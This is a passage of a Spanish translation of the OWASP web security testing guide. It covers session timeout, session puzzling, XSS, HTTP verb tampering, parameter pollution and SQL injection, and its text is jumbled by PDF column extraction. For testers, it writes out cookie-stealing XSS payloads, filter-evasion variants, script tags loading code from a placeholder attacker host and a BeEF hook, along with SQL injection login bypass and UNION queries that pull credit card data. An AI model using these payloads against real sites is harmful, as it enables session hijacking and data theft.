despus de desconectarse es considerado como una buena prctica.
Herramientas
Pruebas de tiempo de caducidad de sesin:
Burp Suite - Repeater: portswigger.net
Determine un tiempo de caducidad de sesin realizando solicitudes a una
pgina en el rea de autenticacin de la aplicacin web con incremento de
los intervalos de tiempo. Si aparece un comportamiento de cierre de
sesin, el intervalo de tiempo usado coincide aproximadamente con el Referencias
valor del tiempo de caducidad de la sesin.
Libros Blancos
Un cierre de sesin causado por inactividad dentro de un tiempo de Cookie replay attacks in ASP.NET when using forms authentication:
caducidad debe tener los mismos resultados descritos anteriormente
vanstechelman.eu
para la prueba de terminacin de sesin de servidor.
Resumen invalida la sesin del usuario actual y borra todos los datos almacenados
en el cliente.
En esta fase, los evaluadores comprueban que la aplicacin cierra
automticamente la sesin cuando un usuario ha permanecido inactivo
durante un cierto periodo de tiempo, asegurando que no se pueda
"reutilizar" la misma sesin y que ningn dato sensible permanezca Ambas acciones deben implementarse cuidadosamente, con el fin de
almacenado en la cach del navegador. evitar introducir debilidades que podran ser aprovechadas por un
atacante para obtener acceso no autorizado si el usuario olvid cerrar la
sesin desde la aplicacin. Ms especficamente, en cuanto a la funcin de
cierre de sesin, es importante asegurarse de que todas las fichas de
Todas las aplicaciones deben implementar un tiempo de cierre de sesin sesin (por ejemplo las cookies) sean destruidas o queden inservibles, y
por inactividad. Este tiempo de cierre define el perodo que una sesin se que se apliquen controles adecuados desde el lado del servidor para
mantendr activa en caso de que no haya actividad por parte del usuario., evitar la reutilizacin de las fichas de sesin. Si estas acciones no se llevan
Cierre e invalide la sesin una vez excedido el perodo de inactividad a cabo correctamente, un atacante podra reproducir estas fichas de
definida desde la ltima peticin HTTP recibida por la aplicacin web sesin para "resucitar" la sesin de un usuario legtimo y hacerse pasar
para un determinado identificador de sesin. El tiempo de cierre ms por l o ella (este ataque es generalmente conocido como 'cookie replay').
adecuado debe ser un equilibrio entre la seguridad (menor tiempo de Por supuesto, un factor atenuante es que el atacante debe ser capaz de
espera) y usabilidad (mayor tiempo de espera), y mucho depende del acceder a las fichas (que se almacenan en el navegador de la vctima),
nivel de sensibilidad de los datos manejados por la aplicacin. pero, en varios casos, esto puede no ser particularmente difcil o
imposible.
Si la cookie contiene algn dato relacionado con el tiempo (por ejemplo, la Pruebas del Session puzzling (OTG-SESS-008)
hora de registro, o la ltima hora de acceso o la fecha de caducidad de una
cookie persistente), entonces es posible que el cliente tenga una Resumen
participacin en el tiempo de cierre. En este caso, los evaluadores podran
tratar de modificar la cookie (si no est criptograficamente protegida) y La sobrecarga de variables de sesin (tambin conocida como Session
ver qu pasa con la sesin. Por ejemplo, los evaluadores pueden Puzzling) es una vulnerabilidad al nivel de la aplicacin que permite a un
establecer la fecha de caducidad de la cookie en un futuro lejano y ver si atacante realizar una variedad de acciones maliciosas que incluyen, pero
se puede prolongar el perodo de sesiones. no se limitan a:
Como regla general, debe comprobarse todo del lado del servidor y no Esquivar los mecanismos de autenticacin de la aplicacin y hacerse pasar
debe ser posible, mediante la reconfiguracin de las cookies de sesin a por usuarios legtimos.
los valores anteriores, acceder a la aplicacin otra vez.
Elevar los privilegios de una cuenta de usuario maliciosa, en un entorno que,
de lo contrario, sera considerado infalible.
Pruebas de Caja Gris Saltarse las fases de calificacin en los procesos de fases mltiples, incluso
si el proceso incluye todas las restricciones a nivel de cdigo comnmente
El evaluador debe verificar que: recomendadas.
Manipular los valores del lado del servidor de forma indirecta para que no
puedan ser predichos o detectados.
La funcin de cierre de sesin destruye eficazmente todas las fichas de
sesin, o por lo menos las inhabilita. Ejecutar ataques tradicionales en lugares previamente inaccesibles, o incluso
que se consideran seguros.
El servidor realiza los controles adecuados en el estado de la sesin,
impidiendo al atacante reproducir identificadores de sesin previamente
destruidos.
Esta vulnerabilidad se produce cuando una aplicacin utiliza la misma
El tiempo de cierre es establecido correctamente por el servidor. Si el variable de sesin para ms de un propsito. Potencialmente un atacante
servidor utiliza un tiempo de expiracin que se lee de una ficha de sesin que puede acceder a pginas en un orden no previsible por parte de los
es enviada por el cliente (aunque esto no es recomendable), entonces la ficha desarrolladores para que la variable de sesin se configure en un
debe estar criptogrficamente protegida contra la manipulacin. contexto y luego se utilice en otro.
Tome en cuenta que lo ms importante es que la aplicacin invalide la Por ejemplo, un atacante puede utilizar la sobrecarga de variables de
sesin en el servidor. Generalmente esto significa que el cdigo debe sesin para eludir los mecanismos de autenticacin de la aplicacin, que
invocar los mtodos apropiados, por ejemplo, HttpSession.invalidate() en garantizan la autenticacin mediante la validacin de la existencia de
Java y Session.abandon() en .NET. variables de sesin que contengan valores relacionados con la identidad,
que normalmente se almacenan en la sesin despus de un proceso de
autenticacin exitoso. Esto significa que, primero, un atacante tiene
acceso a una ubicacin en la aplicacin que establece el contexto de la
Borrar las cookies en el navegador es recomendable, pero no es sesin y, luego, accede a lugares privilegiados que examinan este
estrictamente necesario, ya que si bien se invalida la sesin en el servidor, contexto.
tener la cookie en el navegador no ayudar a un atacante.
Cmo probar
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
147
Guia de pruebas 4.0 "Borrador"
Prueba de Caja Negra scripting, inyeccin SQL, inyeccin de intrprete, ataques ataques
locale/Unicode, ataques al sistema de archivo y desbordamiento de bfer.
Esta vulnerabilidad puede ser detectada y explotada enumerando todas
las variables de sesin que utiliza la aplicacin y elcontexto en el que son
vlidas. En particular, esto es posible accediendo a una secuencia de
puntos de entrada y luego examinando los puntos de salida. En el caso de Nunca se debe confiar en los datos de una entidad externa o del cliente, ya
las pruebas de caja negra, este procedimiento es difcil y requiere algo de que pueden ser arbitrariamente adulterados por un atacante. "Todas las
suerte ya que cada secuencia diferente podra llevar a un resultado entradas son malignas", dice Michael Howard en su famoso libro "Writing
diferente. Secure Code" (Escribiendo Cdigo Seguro). Esta es la regla nmero uno.
Lamentablemente, las aplicaciones ms complejas a menudo tienen un
gran nmero de puntos de entrada, lo que hace difcil para que un
desarrollador haga cumplir esta regla. Este captulo describe las pruebas
Ejemplos de validacin de datos. Esta es la tarea de probar todas las formas
posibles de entrada para comprender si la aplicacin valida lo suficiente
Un ejemplo muy simple podra ser la funcionalidad de restablecimiento el ingreso de datos antes de usarlos.
de contrasea que, en el punto de entrada, puede solicitar al usuario que
proporcione cierta informacin de identificacin que podra ser el
nombre del usuario o la direccin de correo electrnico. Esta pgina
podra rellenar, entonces, la sesin con estos valores de identificacin que Pruebas de la reflexin del Cross site scripting (OTG-INPVAL-001)
son recibidos directamente del lado del cliente u obtenidos de consultas o
clculos basados en la informacin de entrada recibida. En este punto Resumen
pueden haber algunas pginas en la aplicacin donde se muestran datos
privados basados en este objeto de sesin. De esta manera el atacante La reflexin del Cross-site Scripting (XSS) ocurre cuando un atacante
podra eludir el proceso de autenticacin. inyecta un cdigo ejecutable en el navegador, dentro de una sola
respuesta HTTP. El ataque inyectado no se almacena dentro de la
aplicacin, es no-persistente y slo afecta a los usuarios que abren una
pgina web de terceros o un vnculo diseado con mala intencin. La
Pruebas de Caja Gris cadena de ataque se incluye como parte del diseo de los parmetros URL
o HTTP, que se procesan incorrectamente por la aplicacin y se
La forma ms efectiva para detectar estas vulnerabilidades es a travs de devuelven a la vctima.
una revisin del cdigo fuente.
Pruebas de validacin de entradas Comnmente, el cdigo del intruso es escrito en el lenguaje Javascript,
pero tambin se utilizan otros lenguajes, por ejemplo, ActionScript y
La debilidad de seguridad de las aplicaciones web ms comn es el no VBScript. Los atacantes suelen aprovechar estas vulnerabilidades para
poder validar correctamente los datos de entrada que vienen del cliente o instalar registradores de claves, robar las cookies de la vctima, realizar
del medio ambiente antes de usarlo. Esta debilidad conduce a casi todas robos del portapapeles y cambiar el contenido de la pgina (por ejemplo,
las vulnerabilidades principales en aplicaciones web, tales como cross site enlaces de descarga).
Una de las principales dificultades en la prevencin de vulnerabilidades [3] Para cada prueba de entrada intentada en la fase anterior, el
XSS es la correcta codificacin de caracteres. En algunos casos, el servidor evaluador analiza el resultado y determina si representa una
web o la aplicacin web podran no estar filtrando algunas codificaciones vulnerabilidad que tiene un impacto realista en materia de seguridad de
de caracteres; as que, por ejemplo, la aplicacin web puede filtrar y sacar la aplicacin web. Esto requiere examinar la HTML de la pgina web
"<script>", pero podra no filtrar %3cscript%3e que simplemente incluye resultante, en busca de la informacin de entrada para la prueba. Una vez
otra codificacin de etiquetas. encontrada, el evaluador identifica los caracteres especiales que no
fueron codificados correctamente, reemplazados o filtrados. El conjunto
de caracteres especiales vulnerables sin filtrar dependern del contexto
de esa seccin de HTML.
Cmo probar
Idealmente, todos los caracteres especiales de HTML se reemplazarn con
Prueba de Caja Negra entidades HTML. Las entidades HTML claves para identificar son:
Sin embargo, una lista completa de entidades est definida por las
[2] Analice cada vector de entrada para detectar posibles especificaciones de HTML y XML. Wikipedia tiene una referencia
vulnerabilidades. Para la deteccin de una vulnerabilidad XSS, el completa [1].
evaluador suele utilizar datos de entrada especialmente diseados con
cada vector de entrada. Estos datos de entrada son normalmente
inofensivos, pero desencadenan respuestas desde el navegador web que
manifiesta su vulnerabilidad. Los datos para pruebas pueden generarse En el framework de una accin de HTML o cdigo JavaScript, un conjunto
utilizando un distorsionador de aplicaciones web, una lista automatizada diferente de caracteres especiales se necesitarn para escapar, codificar,
predefinida de cadenas de ataque conocidas o manualmente. reemplazar o filtrar. Estos caracteres incluyen:
\n (new line)
Algunos ejemplos de esta informacin de entrada son:
\r (carriage return)
\\ (backslash)
Para tener una lista completa de posibles cadenas de prueba, vea el archivo
XSS Filter Evasion Cheat Sheet.
Ejemplo 1
http://example.com/index.php?user=<script>alert(123)</script>
Ejemplo 2
Pruebe otra pieza de cdigo (enlace) La mayor parte de la prevencin XSS depende de la desinfeccin de la
aplicacin web de datos no confiables del usuario. Hay varios
mecanismos disponibles para que los desarrollaldores realicen la
desinfeccin, como devolver un error, quitar, codificar, sustituir datos de
entrada no vlida. El modo por el cual la aplicacin detecta y corrige la
entrada invlida es otra debilidad principal en la prevencin de XSS. Una
lista negra podra no incluir todas las cadenas de ataque posibles, una
><script >alert(document.cookie)</script >
lista blanca puede ser excesivamente permisiva, la desinfeccin puede
fallar o un tipo de entrada puede calificarse incorrectamente como
confiable y mantenerse sin desinfeccin. Todo esto permite a los
atacantes burlar los filtros XSS.
%3cscript%3ealert(document.cookie)%3c/script%3e
Ya que estos filtros se basan en una lista negra, no pueden bloquear todos
los tipos de expresiones. De hecho, hay casos en que una explotacin XSS
puede llevarse a cabo sin el uso de etiquetas <script> e incluso sin el uso
de caracteres tales como "< > y / que comnmente se filtran. Ejemplo 5: Para evitar la filtracin no-recurrente
<scr<script>ipt>alert(document.cookie)</script>
<input type=text name=state value=INPUT_FROM_USER>
Entonces el atacante puede enviar el siguiente cdigo: Ahora suponga que los desarrolladores del sitio objetivo implementaron el
siguiente cdigo para proteger la entrada de la inclusin de script externo:
onfocus=alert(document.cookie)
<?
$re = /<script[^>]+src/i;
En algunos casos, es posible que los filtros basados en la firma pueden ser {
simplemente derrotados ofuscando el ataque. Por lo general, usted puede
hacer esto mediante la introduccin de variaciones inesperadas en la sintaxis o echo Filtered;
en la codificacin. Estas variaciones se toleran por parte de los navegadores
como HTML, vlidos cuando se devuelve el cdigo y, sin embargo, tambin return;
podran ser aceptadas por el filtro.
}
<script src=http://attacker/xss.js></script>
Resultado esperado
que es un ataque comn. Pero, en este caso, es posible eludir la Vea los apuntes de repaso de evasin de filtros XSS para obtener una lista
desinfeccin usando el carcter ">" con un atributo entre script y src como ms detallada de las tcnicas de evasin de filtros. Por ltimo, analizar las
este: respuestas puede ser complejo. Una manera simple de hacer esto es usar
un cdigo que lance un cuadro de dilogo, como en nuestro ejemplo. Esto
normalmente indica que un atacante podra ejecutar un cdigo JavaScript
http://example/?var=<SCRIPT%20a=>%20SRC=http://attacker/xss arbitrario de su eleccin en los navegadores de los visitantes.
.js></SCRIPT>
Las pruebas de Caja Gris son similares a las pruebas de Caja Negra. En las
Esto explotar la vulnerabilidad de reflexin del Cross-site Scripting
pruebas de Caja Gris, el evaluador de edicin tiene un conocimiento
mostrada anteriormente, ejecutando el cdigo JavaScript almacenado en el
parcial de la aplicacin. En este caso, la informacin relativa a la entrada
servidor web del atacante como si se originara desde el sitio web de la
del usuario, los controles de validacin de entrada y cmo se devuelve la
vctima, http://example/.
informacin ingresada por el usuario al mismo usuario, podran ser
conocidos por el evaluador de edicin.
Ejemplo 7: Contaminacin del Parmetro HTTP (HTTP Parameter Si el cdigo fuente est disponible (Caja Blanca), deben analizarse todas
Pollution (HPP)) las variables recibidas de los usuarios. Adems, el evaluador debe
analizar los procedimientos de desinfeccin implementados para decidir
Otro mtodo para eludir los filtros es la contaminacin del parmetro si estos pueden ser eludidos.
HTTP. Esta tcnica fue introducida por Stefano di Paola y Luca Carettoni
en el 2009, durante la Conferencia OWASP en Polonia. Vea la "prueba de
contaminacin del parmetro HTTP" para obtener ms informacin. Esta
Herramientas
tcnica de evasin consiste en dividir un vector de ataque entre los
mltiples parmetros que tengan el mismo nombre. La manipulacin del
OWASP CAL9000
valor de cada parmetro depende de cmo cada tecnologa web analiza
estos parmetros, por lo que este tipo de evasin no siempre es posible. Si
CAL9000 es una coleccin de herramientas de prueba de seguridad en
el ambiente de prueba concatena los valores de todos los parmetros con
aplicaciones web, que complementa el conjunto actual de proxys web y
el mismo nombre, entonces el atacante podra utilizar esta tcnica para escneres automatizados. Se presenta como una referencia en:
evitar los mecanismos de seguridad basados en el patrn.
sec101.sourceforge.net
Ataque normal:
PHP Charset Encoder(PCE):
http://example/page.php?param=<script>[...]</script> yehg.net
HackVertor: (XSS). Ofrece resultados de anlisis de cero falsos positivos con su triple
motor de navegacin nico (Trident, WebKit y Gecko) escner
businessinfo.co.uk incrustados. Se afirma que tiene la segunda carga de XSS ms grande del
mundo, de aproximadamente 1600+ XSS cargas tiles distintivas para la
Ofrece varias docenas de codificaciones flexibles para ataques de deteccin eficaz de vulnerabilidades XSS y desvios WAF. El motor de
manipulacin de cadena avanzada. Scripting de Xenotix le permite crear casos de prueba personalizados y
add-ons en la API de Xenotix. Tiene incorporado un mdulo de
recoleccin de informacin abundante para reconocimiento de objetivos.
El framework de explotacin incluye mdulos de explotacin de ofensiva
WebScarab: WebScarab es un framework para analizar las aplicaciones que
XSS para la creacin de pruebas de penetracin y prueba de creacin de
se comunican mediante los protocolos HTTP y HTTPS: owasp.org
concepto.
XSS-Proxy: xss-proxy.sourceforge.net
Referencias
XSS-Proxy es una herramienta avanzada de Cross-Site-Scripting (XSS).
Recursos OWASP
ratproxy: code.google.com
Libros Blancos
OWASP Zed Attack Proxy (ZAP):
CERT - Malicious HTML Tags Embedded in Client Web Requests: Read
OWASP_Zed_Attack_Proxy_Project
Rsnake - XSS Cheat Sheet: Read
ZAP es una herramienta de penetracin integrada, fcil de usar para
encontrar vulnerabilidades en aplicaciones web. Est diseada para ser cgisecurity.com - The Cross Site Scripting FAQ: Read
utilizada por personas con un amplio espectro de experiencia en seguridad y
por eso es ideal para desarrolladores y evaluadores funcionales que son G.Ollmann - HTML Code Injection and Cross-site scripting: Read
novatos realizando pruebas de penetracin. ZAP ofrece escneres
automatizados, as como un conjunto de herramientas que permiten A. Calvo, D.Tiscornia - alert(A javascritp agent): Read ( To be published )
encontrar las vulnerabilidades de seguridad manualmente.
S. Frei, T. Dbendorfer, G. Ollmann, M. May - Understanding the Web
browser threat: Read
Escaneo de puertos en hosts internos ("internos" en relacin a los usuarios de la User/Profiles page: la aplicacin permite al usuario editar o cambiar los
aplicacin web) datos del perfil tales como nombre, apellido, apodo, avatar, foto, direccin,
etc.
Explotacin basada en el navegador de entrega dirigida
Shopping cart: la aplicacin permite al usuario guardar artculos en el
Otras actividades maliciosas carrito de compras que pueden ser revisados posteriormente.
Un XSS almacenado no necesita un enlace malicioso para ser explotado. Application settings/preferences: aplicacin que permite al usuario
Una explotacin exitosa se produce cuando un usuario visita una pgina establecer sus preferencias.
con un XSS almacenado. Las fases siguientes se relacionan con una
situacin de ataque XSS almacenado normal: Forum/Message board: la aplicacin permite intercambiar mensajes entre
usuarios.
[email protected]%22%3E%3Cscript%3Ealert(document.cookie)%3C%2F
Nota: Todas las reas de la aplicacin que son accesibles por el administrador script%3E
deben ser probadas para identificar la presencia de cualquier informacin
enviada por los usuarios.
Resultado esperado:
En este caso, el evaluador necesita encontrar una manera de inyectar el cdigo <input class=inputbox type=text name=email size=40
fuera de la etiqueta <input> as como: [email protected]><script>alert(document.cookie)</script>
Inyectar un gancho de JavaScript que se comunica con el framework del Carga de archivos
navegador de explotacin del atacante (BeEF).
Si la aplicacin web permite la carga de archivos, es importante
Esperar a que el usuario vea la aplicacin en la pgina vulnerable donde se comprobar si es posible cargar contenido HTML. Por ejemplo, si se
muestra la informacin ingresada y almacenada. permiten archivos HTML o TXT, una carga XSS puede ser inyectada en el
archivo subido. El evaluador de edicin tambin debe verificar si la carga
Controlar la aplicacin del navegador del usuario mediante la consola de BeEF. de archivos permite el ajuste arbitrario de caracteres MIME.
El gancho de JavaScript puede ser inyectado mediante la explotacin de la Considere la siguiente peticin HTTP POST para carga de archivos:
vulnerabilidad XSS en la aplicacin web.
[email protected]><script src=http://attackersite/hook.js></script>
Content-Disposition: form-data; name=uploadfile1;
filename=C:\Documents and Settings\test\Desktop\test.txt
Content-Type: text/plain
Content-Type: text/html
Pruebas de Caja Gris Nota: La tabla anterior es slo un resumen de los parmetros ms
importantes, pero deben investigarse los parmetros de entrada de
La prueba de Caja Gris es similar a la prueba de Caja Negra. En la prueba usuario.
de Caja Gris, el evaluador de edicin tiene conocimiento parcial sobre la
aplicacin. En este caso, al respecto de la informacin ingresada por el
usuario, controles de validacin de ingresos y almacenamiento de datos
Tools
podran ser conocidos por el evaluador de edicin.
OWASP CAL9000
BeEF: beefproject.com
BeEF es el explotador del framework del navegador (browser exploitation Apuntes de repaso de evasin de filtros XSS
framework); una herramienta profesional para demostrar las
vulnerabilidades del navegador en tiempo real.
Libros
XSS-Proxy: xss-proxy.sourceforge.net Joel Scambray, Mike Shema, Caleb Sima - Hacking Exposed Web
Applications, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
XSS-Proxy es una herramienta avanzada de ataque de Cross-Site-Scripting
(XSS. Dafydd Stuttard, Marcus Pinto - The Web Applications Handbook -
Discovering and Exploiting Security Flaws, 2008, Wiley, ISBN 978-0-470-
17077-9
Backframe: gnucitizen.org Jeremiah Grossman, Robert RSnake Hansen, Petko pdp D. Petkov,
Anton Rager, Seth Fogie - Cross Site Scripting Attacks: XSS Exploits and
Backframe es una consola de ataque completa para explotar navegadores Defense, 2007, Syngress, ISBN-10: 1-59749-154-3
web, usuarios web y aplicaciones web.
Libros Blancos
OWASP ZAP: owasp.org
RSnake: XSS (Cross Site Scripting) Cheat Sheet:
WebScarab es un framework para analizar aplicaciones que se comunican
usando los protocolos HTTP y HTTPS. owasp.org
El Proxy Burp es un servidor proxy interactivo de HTTP/S que sirve para cert.org
atacar y probar aplicaciones web.
Amit Klein: Cross-site Scripting Explained:
courses.csail.mit.edu
XSS Assistant: greasespot.net
Gunter Ollmann: HTML Code Injection and Cross-site
Es un Greasemonkey script que permite a los usuarios el acceso fcil a
cualquier aplicacin web en busca de fallas en el cross-site-scripting. Scripting: technicalinfo.net
ZAP es una herramienta de penetracin integrada, fcil de usar para Perspective: leviathansecurity.com
encontrar vulnerabilidades en aplicaciones web. Est diseada para ser
utilizada por personas con una amplia experiencia en seguridad y por eso es
ideal para desarrolladores y evaluadores funcionales que son novatos
realizando pruebas de penetracin. ZAP ofrece escneres automatizados, as Pruebas de manipulacin de verbos en HTTP (OTG-INPVAL-003)
como un conjunto de herramientas que permiten encontrar las
vulnerabilidades de seguridad manualmente. Resumen
'verbo', el estndar de HTTP 1.1 se refiere a estas solicitudes como contactos JavaScript y AJAX pueden enviar mtodos distintos a GET y
mtodos HTTP distintos. POST.
La especificacin completa de HTTP 1.1 [1] define los siguientes mtodos Mientras la aplicacin web que se est probando no se contacte
vlidos de solicitudes HTTP, o verbos: especficamente con un mtodo HTTP no estndar, las pruebas de
manipulacin de verbo HTTP son bastante simples. Si el servidor acepta
una peticin que no sea GET o POST, la prueba fracasa. Las soluciones son
OPTIONS
deshabilitar todas las funciones que no sean GET o POST en el servidor de
GET aplicaciones web, o en un firewall de aplicaciones web.
HEAD
MKCOL
COPY Recomendamos que use una herramienta para hacer esto, aunque le
mostraremos cmo hacerlo manualmente tambin.
MOVE
LOCK
UNLOCK
Pruebas de manipulacin manual de verbos en HTTP
1.5 PUT
[METHOD] /[index.htm] HTTP/1.1
host: www.example.com
host: www.example.com
host: www.example.com
OPTIONS /index.html HTTP/1.1
host: www.example.com
1.8 CONNECT
host: www.example.com
GET /index.html HTTP/1.1
host: www.example.com
1.3 HEAD
Para cada mtodo y/o archivo de texto con el mtodo, enve la solicitud a su
servidor web va netcat o telnet en el puerto 80 (HTTP):
HEAD /index.html HTTP/1.1
host: www.example.com
nc www.example.com 80 < OPTIONS.http.txt
1.4 POST
host: www.example.com
Aunque cada mtodo HTTP puede devolver potencialmente resultados printf $webservmethod ;
diferentes, hay slo un resultado vlido para todos los mtodos que no
sean GET y POST. printf $webservmethod / HTTP/1.1\nHost: $1\n\n | nc -q 1 $1 80 | grep
HTTP/1.1
Referencias
Libros Blancos
http://www.aspectsecurity.com/research-presentations/bypassing-vbaac-with-http-
verb-tampering
Resumen
Abastecer mltiples parmetros HTTP con el mismo nombre puede causar que
una aplicacin interprete los valores de maneras imprevistas. Al explotar estos
efectos, un atacante puede ser capaz de esquivar la validacin de entrada,
provocar errores de aplicacin o modificar valores de variables internas. Ya que
la contaminacin de parmetros HTTP (HTTP Parameter Pollution [abreviado
HPP]) afecta los cimientos de la construccin de las tecnologas web, existen los
ataques del lado del servidor y del cliente.
40gmail.com(attacker email)&ok=Invite
Uno de estos defectos, que afectan a ModSecurity SQL Injection Core Rules,
representa un ejemplo perfecto del desajuste de impedancia entre
aplicaciones y filtros.
Como ejemplo, la URL /index.aspx?page=select 1&page = 2,3 de la tabla Dada la URL y la cadena de consulta:
no activara el filtro ModSecurity, sin embargo, la capa de aplicacin
concatenara la entrada de vuelta convirtindola nuevamente en la http://example.com/?color=red&color=blue
cadena maliciosa completa.
http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos.
particular para probar, uno puede editar los datos GET o POST
interceptando la solicitud, o cambiando la cadena de consulta despus de
que la pgina de respuesta se cargue. Para probar las vulnerabilidades
HPP, simplemente aada el mismo parmetro para los datos GET o POST,
pero asignando un valor diferente.
http://example.com/?search_string=kittens
http://example.com/?mode=guest&search_string=kittens&num_results=100
http://example.com/?mode=guest&search_string=kittens&num_results=100&se
arch_string=puppies
(fuente: Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf )
[1] Enve una solicitud HTTP que contenga el nombre del parmetro En particular, preste atencin a las respuestas que tengan vectores HPP
estndar y el valor; tambin grabe la respuesta HTTP. Por ejemplo, dentro de datos, src, atributos href o formularios de acciones. Otra vez, si
page?par1=val1 este comportamiento predeterminado revela o no una vulnerabilidad
potencial, depende de la validacin de entrada especfica, filtrado y
[2] Cambie el valor del parmetro con un valor alterado, enve y grabe la aplicacin lgica del negocio. Adems, es importante hacer notar que esta
respuesta HTTP. Por ejemplo, page?par1=HPP_TEST1 vulnerabilidad tambin puede afectar los parmetros de la cadena de
consulta utilizados en XMLHttpRequest (XHR), para la creacin del
[3] Enve una nueva solicitud combinando el paso (1) y (2). Una vez ms, atributo de tiempo de ejecucin y otras tecnologas de plugin (por
guarde la respuesta HTTP. Por ejemplo, page?par1=val1&par1=HPP_TEST1 ejemplo variables de Adobe Flash flashvars).
[4] Compare las respuestas obtenidas durante todos los pasos anteriores.
Si la respuesta de (3) es diferente de (1) y la respuesta de (3) tambin es
diferente a (2), hay un desajuste de impedancia que puede, finalmente, Herramientas
ser objeto de abuso para disparar las vulnerabilidades HPP.
[1] OWASP ZAP HPP Passive/Active Scanners
Referencias
HPP del lado del cliente
Libros Blancos
Del mismo modo al HPP de lado del servidor, la prueba manual es la nica
tcnica confiable para auditar aplicaciones web con el fin de detectar [3] HTTP Parameter Pollution - Luca Carettoni, Stefano di Paola
vulnerabilidades de contaminacin de parmetro que afectan a los
componentes del lado del cliente. Mientras que en la variante del lado del [4] Split and Join (Bypassing Web Application Firewalls with HTTP Parameter
servidor el atacante aprovecha una aplicacin web vulnerable para Pollution) - Lavakumar Kuppan
acceder a datos protegidos o realizar acciones no permitidas o que no se
[5] Client-side Http Parameter Pollution Example (Yahoo! Classic Mail flaw) -
deberan ejecutar, los ataques del lado del cliente apuntan a subvertir
Stefano di Paola
tecnologas y componentes de cliente.
[6] How to Detect HTTP Parameter Pollution Attacks - Chrysostomos Daniel
Resumen
Semejante al HPP del lado del servidor, contamine cada parmetro HTTP
con %26HPP_TEST y busque ocurrencias de decodificacin de la url desde Un ataque de inyeccin SQL consiste en la insercin o "inyeccin" de una
la carga suministrada por el usuario: consulta SQL parcial o completa a travs de los datos de entrada o
transmitidos desde el cliente (navegador) hacia la aplicacin web. Un
ataque exitoso de inyeccin SQL puede leer datos sensibles de la base de
datos, modificar datos de la base de datos (insertar/actualizar/eliminar),
&HPP_TEST
ejecutar operaciones administrativas de la base de datos (por ejemplo,
apagar el DBMS), recuperar el contenido de un archivo existente en el
&HPP_TEST
sistema de archivos DBMS o escribir archivos en el sistema de archivos y,
and others en algunos casos, emitir comandos al sistema operativo. Los ataques de
inyeccin SQL son un tipo de ataque de inyeccin en los que los comandos
SQL se inyectan en la entrada de datos planos para afectar la ejecucin de
instrucciones SQL predefinidas.
Sobre las tcnicas de inyeccin SQL para explotar los defectos, hay cinco
select title, text from news where id=$id tcnicas comunes. Tambin las tcnicas, a veces, se pueden utilizar de forma
combinada (e.g. operador de unin y fuera de banda):
Tcnicas de deteccin
El evaluador tiene que hacer una lista de todos los campos de entrada completo, como en los ejemplos, ofrece una gran cantidad de informacin
cuyos valores podran utilizarse en la elaboracin de una consulta SQL, al evaluador para montar un ataque de inyeccin eficaz.
incluidos los campos ocultos de las solicitudes POST y luego probarlos
por separado, tratando de interferir en la consulta y generar un error.
Considere tambin las cookies y encabezados HTTP.
Sin embargo, las aplicaciones a menudo no proporcionan mucho detalle:
un simple '500 Server Error' o se emite una pgina de error
personalizado, que significa que necesitamos utilizar tcnicas de
La primera prueba consiste, generalmente, en agregar una comilla inyeccin ciega. En todo caso, es muy importante comprobar cada campo
sencilla (') o un punto y coma (;) al campo o parmetro que est bajo por separado: slo una variable debe cambiar mientras que todas las
anlisis. La primera se utiliza en SQL como un terminador de la cadena y, otras permanecen constantes, a fin de entender precisamente qu
si la aplicacin no la filtra, dara lugar a una consulta incorrecta. El parmetros son vulnerables y cules no.
segundo se utiliza para terminar una instruccin SQL y, si no se filtra,
tambin es probable que genere un error. El resultado de un campo
vulnerable podra parecerse al siguiente (en un Microsoft SQL Server, en
este caso): Pruebas de inyeccin SQL estndar
$username = 1 or 1 = 1
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
http://www.example.com/index.php?username=1%20or%201%20=%20
1&password=1%20or%201%20=%201
(Debido a la inclusin de un comentario delimitador en el valor de
$username la parte de la clave de la consulta se omitir.)
Despus de un corto anlisis, notamos que la consulta devuelve un valor La solicitud de URL ser:
(o un conjunto de valores) porque la condicin siempre es verdadera (o
1=1). De esta manera, el sistema ha autenticado al usuario sin saber el
nombre de usuario y contrasea. $password = foo
$username = 1 or 1 = 1))/*
De esta manera, creamos la solicitud siguiente:
SELECT * FROM products WHERE id_product=$id_product SELECT * FROM products WHERE id_product=$id_product
Considere tambien una solicitud a un script que ejecuta la consulta anterior: Una manera de explotar el escenario anterior podra ser:
Cuando el evaluador intenta un valor vlido (por ejemplo, 10 en este caso), la De esta manera, es posible ejecutar muchas consultas en lnea e independientes de
aplicacin devolver la descripcin de un producto. Una buena manera de la primera consulta.
comprobar si la aplicacin es vulnerable, en este caso, es jugar con la lgica,
utilizando los operadores AND y OR.
Considere la consulta: Incluso el lenguaje SQL es un estndar. Cada DBMS tiene su particularidad, y
difieren unos de otros en muchos aspectos como comandos especiales, funciones
para recuperar datos como nombres de usuarios y bases de datos, funciones, lneas
http://www.example.com/product.php?id=10 AND 1=2 de comentarios, etc.
at character 56 in /www/site/test.php on line 121. SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION
ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
MySql: test + ing Lo que unir el resultado de la consulta original con todos los nmeros de
tarjeta de crdito en la tabla CreditCardTable. La palabra clave ALL es
S L Server: test ing necesaria para obtener todas las consultas que utilizan la palabra clave
DISTINCT. Por otra parte, se observa que ms all de los nmeros de tarjeta
Oracle: test||ing de crdito, hemos seleccionado otros dos valores. Estos dos valores son
necesarios, porque las dos consultas deben tener un nmero igual de
PostgreS L: test||ing
parmetros o columnas para evitar un error de sintaxis.
http://www.example.com/index.php?id=1
A travs de estas funciones, se ejecutan nuestras pruebas sobre el primer La respuesta obtenida desde el servidor (que es cdigo HTML) ser el
carcter y, cuando hemos descubierto el valor, pasaremos al segundo y valor falso para nuestras pruebas. Esto es suficiente para verificar si el
as sucesivamente, hasta que haya descubierto el valor completo. Las valor obtenido mediante la ejecucin de la consulta de inferencias es igual
pruebas aprovecharn la funcin SUBSTRING para seleccionar solo un al valor obtenido con la prueba que se ejecut previamente.
carcter a la vez (seleccionar un solo carcter significa imponer el
parmetro de longitud en 1) y la funcin ASCII para obtener el valor
ASCII, y as poder hacer una comparacin numrica. Los resultados de la
comparacin se obtendrn revisando los valores de la tabla ASCII, hasta A veces este mtodo no funciona. Si el servidor devuelve dos pginas
